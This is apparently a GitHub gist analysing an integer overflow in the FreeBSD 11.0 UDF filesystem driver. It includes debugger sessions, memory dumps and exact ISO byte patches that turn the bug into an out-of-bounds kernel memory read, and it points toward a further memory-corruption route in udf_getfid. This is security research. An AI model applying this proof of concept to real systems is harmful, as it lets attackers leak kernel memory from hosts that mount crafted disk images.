-
-
Save CTurt/a00fb4164e13342567830b052aaed94b to your computer and use it in GitHub Desktop.
udf info leak
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FreeBSD UDF driver info leak | |
Analysis done on FreeBSD release 11.0 because that's what I had around. | |
Integer overflow: | |
https://github.com/freebsd/freebsd/blob/release/11.0.1/sys/fs/udf/udf_vfsops.c#L662 | |
int | |
udf_vget(struct mount *mp, ino_t ino, int flags, struct vnode **vpp) | |
{ | |
... | |
size = UDF_FENTRY_SIZE + le32toh(fe->l_ea) + le32toh(fe->l_ad); | |
unode->fentry = malloc(size, M_UDFFENTRY, M_NOWAIT | M_ZERO); | |
We have 3 options, each will have different effects: | |
- Make l_ea negative, | |
- make l_ad negative, | |
- Make l_ea and l_ad maximum possible positive and rely on overflowing by adding UDF_FENTRY_SIZE (176) - 0x7fffffff + 0x7fffffff + 176 = 0x1000000AE which truncates to just 0xae, | |
Let's go to udf_read to see what we can do: | |
There are two different paths depending on result of `is_data_in_fentry(node)`, which is under our control. Let's just analyse the simpler case where this returns true: | |
static inline int | |
is_data_in_fentry(const struct udf_node *node) | |
{ | |
const struct file_entry *fentry = node->fentry; | |
return ((le16toh(fentry->icbtag.flags) & 0x7) == 3); | |
} | |
https://github.com/freebsd/freebsd/blob/release/11.0.1/sys/fs/udf/udf_vnops.c#L456 | |
static int | |
udf_read(struct vop_read_args *ap) | |
{ | |
... | |
off_t diff, fsize; | |
ssize_t n; | |
int error = 0; | |
long size, on; | |
if (uio->uio_resid == 0) | |
return (0); | |
if (uio->uio_offset < 0) | |
return (EINVAL); | |
if (is_data_in_fentry(node)) { | |
fentry = node->fentry; | |
data = &fentry->data[le32toh(fentry->l_ea)]; | |
fsize = le32toh(fentry->l_ad); | |
n = uio->uio_resid; | |
diff = fsize - uio->uio_offset; | |
if (diff <= 0) | |
return (0); | |
if (diff < n) | |
n = diff; | |
error = uiomove(data + uio->uio_offset, (int)n, uio); | |
return (error); | |
} | |
Consider if fentry->l_ad is 0xfffffffe, then we get diff = 0xfffffffe - 0x7fffffff = 0x7FFFFFFF, which will allow us to read huge amounts of out of bounds kernel memory. | |
Let's try to trigger the bug. Start by making a UDF ISO: | |
brew install dvdrtools | |
mkdir fs | |
echo "test" > fs/test.asc | |
mkisofs -dvd-video -o out.iso fs | |
On the FreeBSD VM load the UDF driver: | |
# kldload udf | |
Then get its base address: | |
# kldstat | |
We can then load the driver symbols into our kernel debugger: | |
add-symbol-file kernel/udf.ko 0xffffffff8221c000 | |
The allocation is at *udf_vget + 0x26D: | |
break *udf_vget + 0x26D | |
0x60: udf_vget | |
.text:00000000000002CD mov ecx, [rax+0A8h] | |
.text:00000000000002D3 mov eax, [rax+0ACh] | |
.text:00000000000002D9 lea eax, [rcx+rax+0B0h] | |
.text:00000000000002E0 movsxd r15, eax | |
.text:00000000000002E3 mov rsi, offset M_UDFFENTRY | |
.text:00000000000002EA mov edx, 101h | |
.text:00000000000002EF mov rdi, r15 ; size | |
.text:00000000000002F2 call malloc | |
To trigger it we just mount the ISO: | |
mount -t udf /dev/`mdconfig -f out.iso` /mnt/ | |
When we get to this point, rax points to our controlled file_entry contents, so let's extend l_ad field and change the field to produce desired result of is_data_in_fentry call later: | |
(gdb) set {short}($rax+0x22) = 3 | |
(gdb) set {int}($rax+0xac) = 0xfffffffe | |
Then let's break at the calculation of diff: | |
break *udf_read + 0x66 | |
And trigger the read by executing pread(fd, data, 256, 0x7fffffff): | |
You can do that by simply using built-in hexdump command: | |
hexdump -s 0x7fffffff -n 256 /mnt/test.asc | |
Breakpoint 7, 0xffffffff8221de96 in udf_read () | |
1: x/i $rip | |
=> 0xffffffff8221de96 <udf_read+102>: sub rax,r10 | |
(gdb) info registers rax | |
rax 0xfffe 65534 | |
(gdb) info registers r10 | |
r10 0x7fffffff 2147483647 | |
Oops, fsize got truncated to 2 bytes instead of 4, since it is the last field and we are allocating UDF_FENTRY_SIZE - 2. The next two out of bounds bytes were 0 so we got 0xfffe instead of 0xfffffffe. | |
This is actually even better because now we can trigger the bug by just reading from offset 0: | |
hexdump -n 256 /mnt/test.asc | |
So now we want to make a real PoC. | |
Let's break at *udf_vget + 0x26D again and print our file_entry structure: | |
(gdb) x/174b $rax | |
0xfffffe000e428800: 0x05 0x01 0x02 0x00 0x8f 0x00 0x00 0x00 | |
0xfffffe000e428808: 0xe3 0xfa 0xa8 0x00 0x02 0x00 0x00 0x00 | |
0xfffffe000e428810: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00 | |
0xfffffe000e428818: 0x01 0x00 0x00 0x04 0x00 0x00 0x00 0x00 | |
0xfffffe000e428820: 0x00 0x00 0x30 0x02 0xff 0xff 0xff 0xff | |
0xfffffe000e428828: 0xff 0xff 0xff 0xff 0xa5 0x14 0x00 0x00 | |
0xfffffe000e428830: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428838: 0x58 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428840: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428848: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e | |
0xfffffe000e428850: 0x38 0x00 0x00 0x00 0x3c 0x10 0xe4 0x07 | |
0xfffffe000e428858: 0x05 0x18 0x13 0x1e 0x38 0x00 0x00 0x00 | |
0xfffffe000e428860: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e | |
0xfffffe000e428868: 0x38 0x00 0x00 0x00 0x01 0x00 0x00 0x00 | |
0xfffffe000e428870: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428878: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428880: 0x00 0x2a 0x6d 0x6b 0x69 0x73 0x6f 0x66 | |
0xfffffe000e428888: 0x73 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428890: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e428898: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e4288a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e4288a8: 0x00 0x00 0x00 0x00 0x08 0x00 | |
We just need to search for that in the ISO image. Sure enough there's only 1 result, at offset 0x82800, so let's make our patches: | |
0x82800 + 0x22 = 0x82822 -> 03 00 | |
0x82800 + 0xac = 0x828AC -> fe ff ff ff | |
Triggering the mount again we see our patches in-tact: | |
x/174b $rax | |
0xfffffe000e454800: 0x05 0x01 0x02 0x00 0x79 0x00 0x00 0x00 | |
0xfffffe000e454808: 0xc9 0xfc 0xa8 0x00 0x04 0x00 0x00 0x00 | |
0xfffffe000e454810: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00 | |
0xfffffe000e454818: 0x01 0x00 0x00 0x05 0x00 0x00 0x00 0x00 | |
0xfffffe000e454820: 0x00 0x00 0x03 0x00 0xff 0xff 0xff 0xff | |
0xfffffe000e454828: 0xff 0xff 0xff 0xff 0x84 0x10 0x00 0x00 | |
0xfffffe000e454830: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454838: 0x05 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454840: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454848: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e | |
0xfffffe000e454850: 0x38 0x00 0x00 0x00 0x3c 0x10 0xe4 0x07 | |
0xfffffe000e454858: 0x05 0x18 0x13 0x1e 0x38 0x00 0x00 0x00 | |
0xfffffe000e454860: 0x3c 0x10 0xe4 0x07 0x05 0x18 0x13 0x1e | |
0xfffffe000e454868: 0x38 0x00 0x00 0x00 0x01 0x00 0x00 0x00 | |
0xfffffe000e454870: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454878: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454880: 0x00 0x2a 0x6d 0x6b 0x69 0x73 0x6f 0x66 | |
0xfffffe000e454888: 0x73 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454890: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e454898: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e4548a0: 0x05 0x01 0x00 0x00 0x00 0x00 0x00 0x00 | |
0xfffffe000e4548a8: 0x00 0x00 0x00 0x00 0xfe 0xff | |
And the bug triggers without any debugger input when we read from /mnt/test.asc from offset 0 as earlier. | |
Corruption? | |
It's common for people to complete their analysis of bugs like this here, overlooking the chance that anything more than information disclosure may be possible. We already control the full contents of that file_entry by design, so the only thing we gain by accessing out of bounds memory instead is information disclosure, right? | |
Well, whilst it's true that we control the contents of file_entry, the code makes the assumption that after it has been set to our controlled contents it won't change. We invalidate this assumption if the file_entry structure is undersized and its members are out of bounds; out of bounds memory can be changed arbitrarily by unrelated code. | |
Let's take a look at this code in udf_getfid: | |
static struct fileid_desc * | |
udf_getfid(struct udf_dirstream *ds) | |
{ | |
struct fileid_desc *fid; | |
int error, frag_size = 0, total_fid_size; | |
... | |
if (ds->off + UDF_FID_SIZE > ds->size || | |
ds->off + le16toh(fid->l_iu) + fid->l_fi + UDF_FID_SIZE > ds->size){ | |
/* Copy what we have of the fid into a buffer */ | |
frag_size = ds->size - ds->off; | |
if (frag_size >= ds->udfmp->bsize) { | |
printf("udf: invalid FID fragment\n"); | |
ds->error = EINVAL; | |
return (NULL); | |
} | |
/* | |
* File ID descriptors can only be at most one | |
* logical sector in size. | |
*/ | |
ds->buf = malloc(ds->udfmp->bsize, M_UDFFID, | |
M_WAITOK | M_ZERO); | |
bcopy(fid, ds->buf, frag_size); | |
/* Reduce all of the casting magic */ | |
fid = (struct fileid_desc*)ds->buf; | |
if (ds->bp != NULL) | |
brelse(ds->bp); | |
/* Fetch the next allocation */ | |
ds->offset += ds->size; | |
ds->size = 0; | |
error = udf_readatoffset(ds->node, &ds->size, ds->offset, | |
&ds->bp, &ds->data); | |
if (error) { | |
ds->error = error; | |
return (NULL); | |
} | |
/* | |
* If the fragment was so small that we didn't get | |
* the l_iu and l_fi fields, copy those in. | |
*/ | |
if (frag_size < UDF_FID_SIZE) | |
bcopy(ds->data, &ds->buf[frag_size], | |
UDF_FID_SIZE - frag_size); | |
/* | |
* Now that we have enough of the fid to work with, | |
* copy in the rest of the fid from the new | |
* allocation. | |
*/ | |
total_fid_size = UDF_FID_SIZE + le16toh(fid->l_iu) + fid->l_fi; | |
if (total_fid_size > ds->udfmp->bsize) { | |
printf("udf: invalid FID\n"); | |
ds->error = EIO; | |
return (NULL); | |
} | |
bcopy(ds->data, &ds->buf[frag_size], | |
total_fid_size - frag_size); | |
ds->fid_fragment = 1; | |
The bottom `bcopy` is no longer protected if calculation of `total_fid_size` uses different `le16toh(fid->l_iu)` value than was checked in the `if` statement at the beginning. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment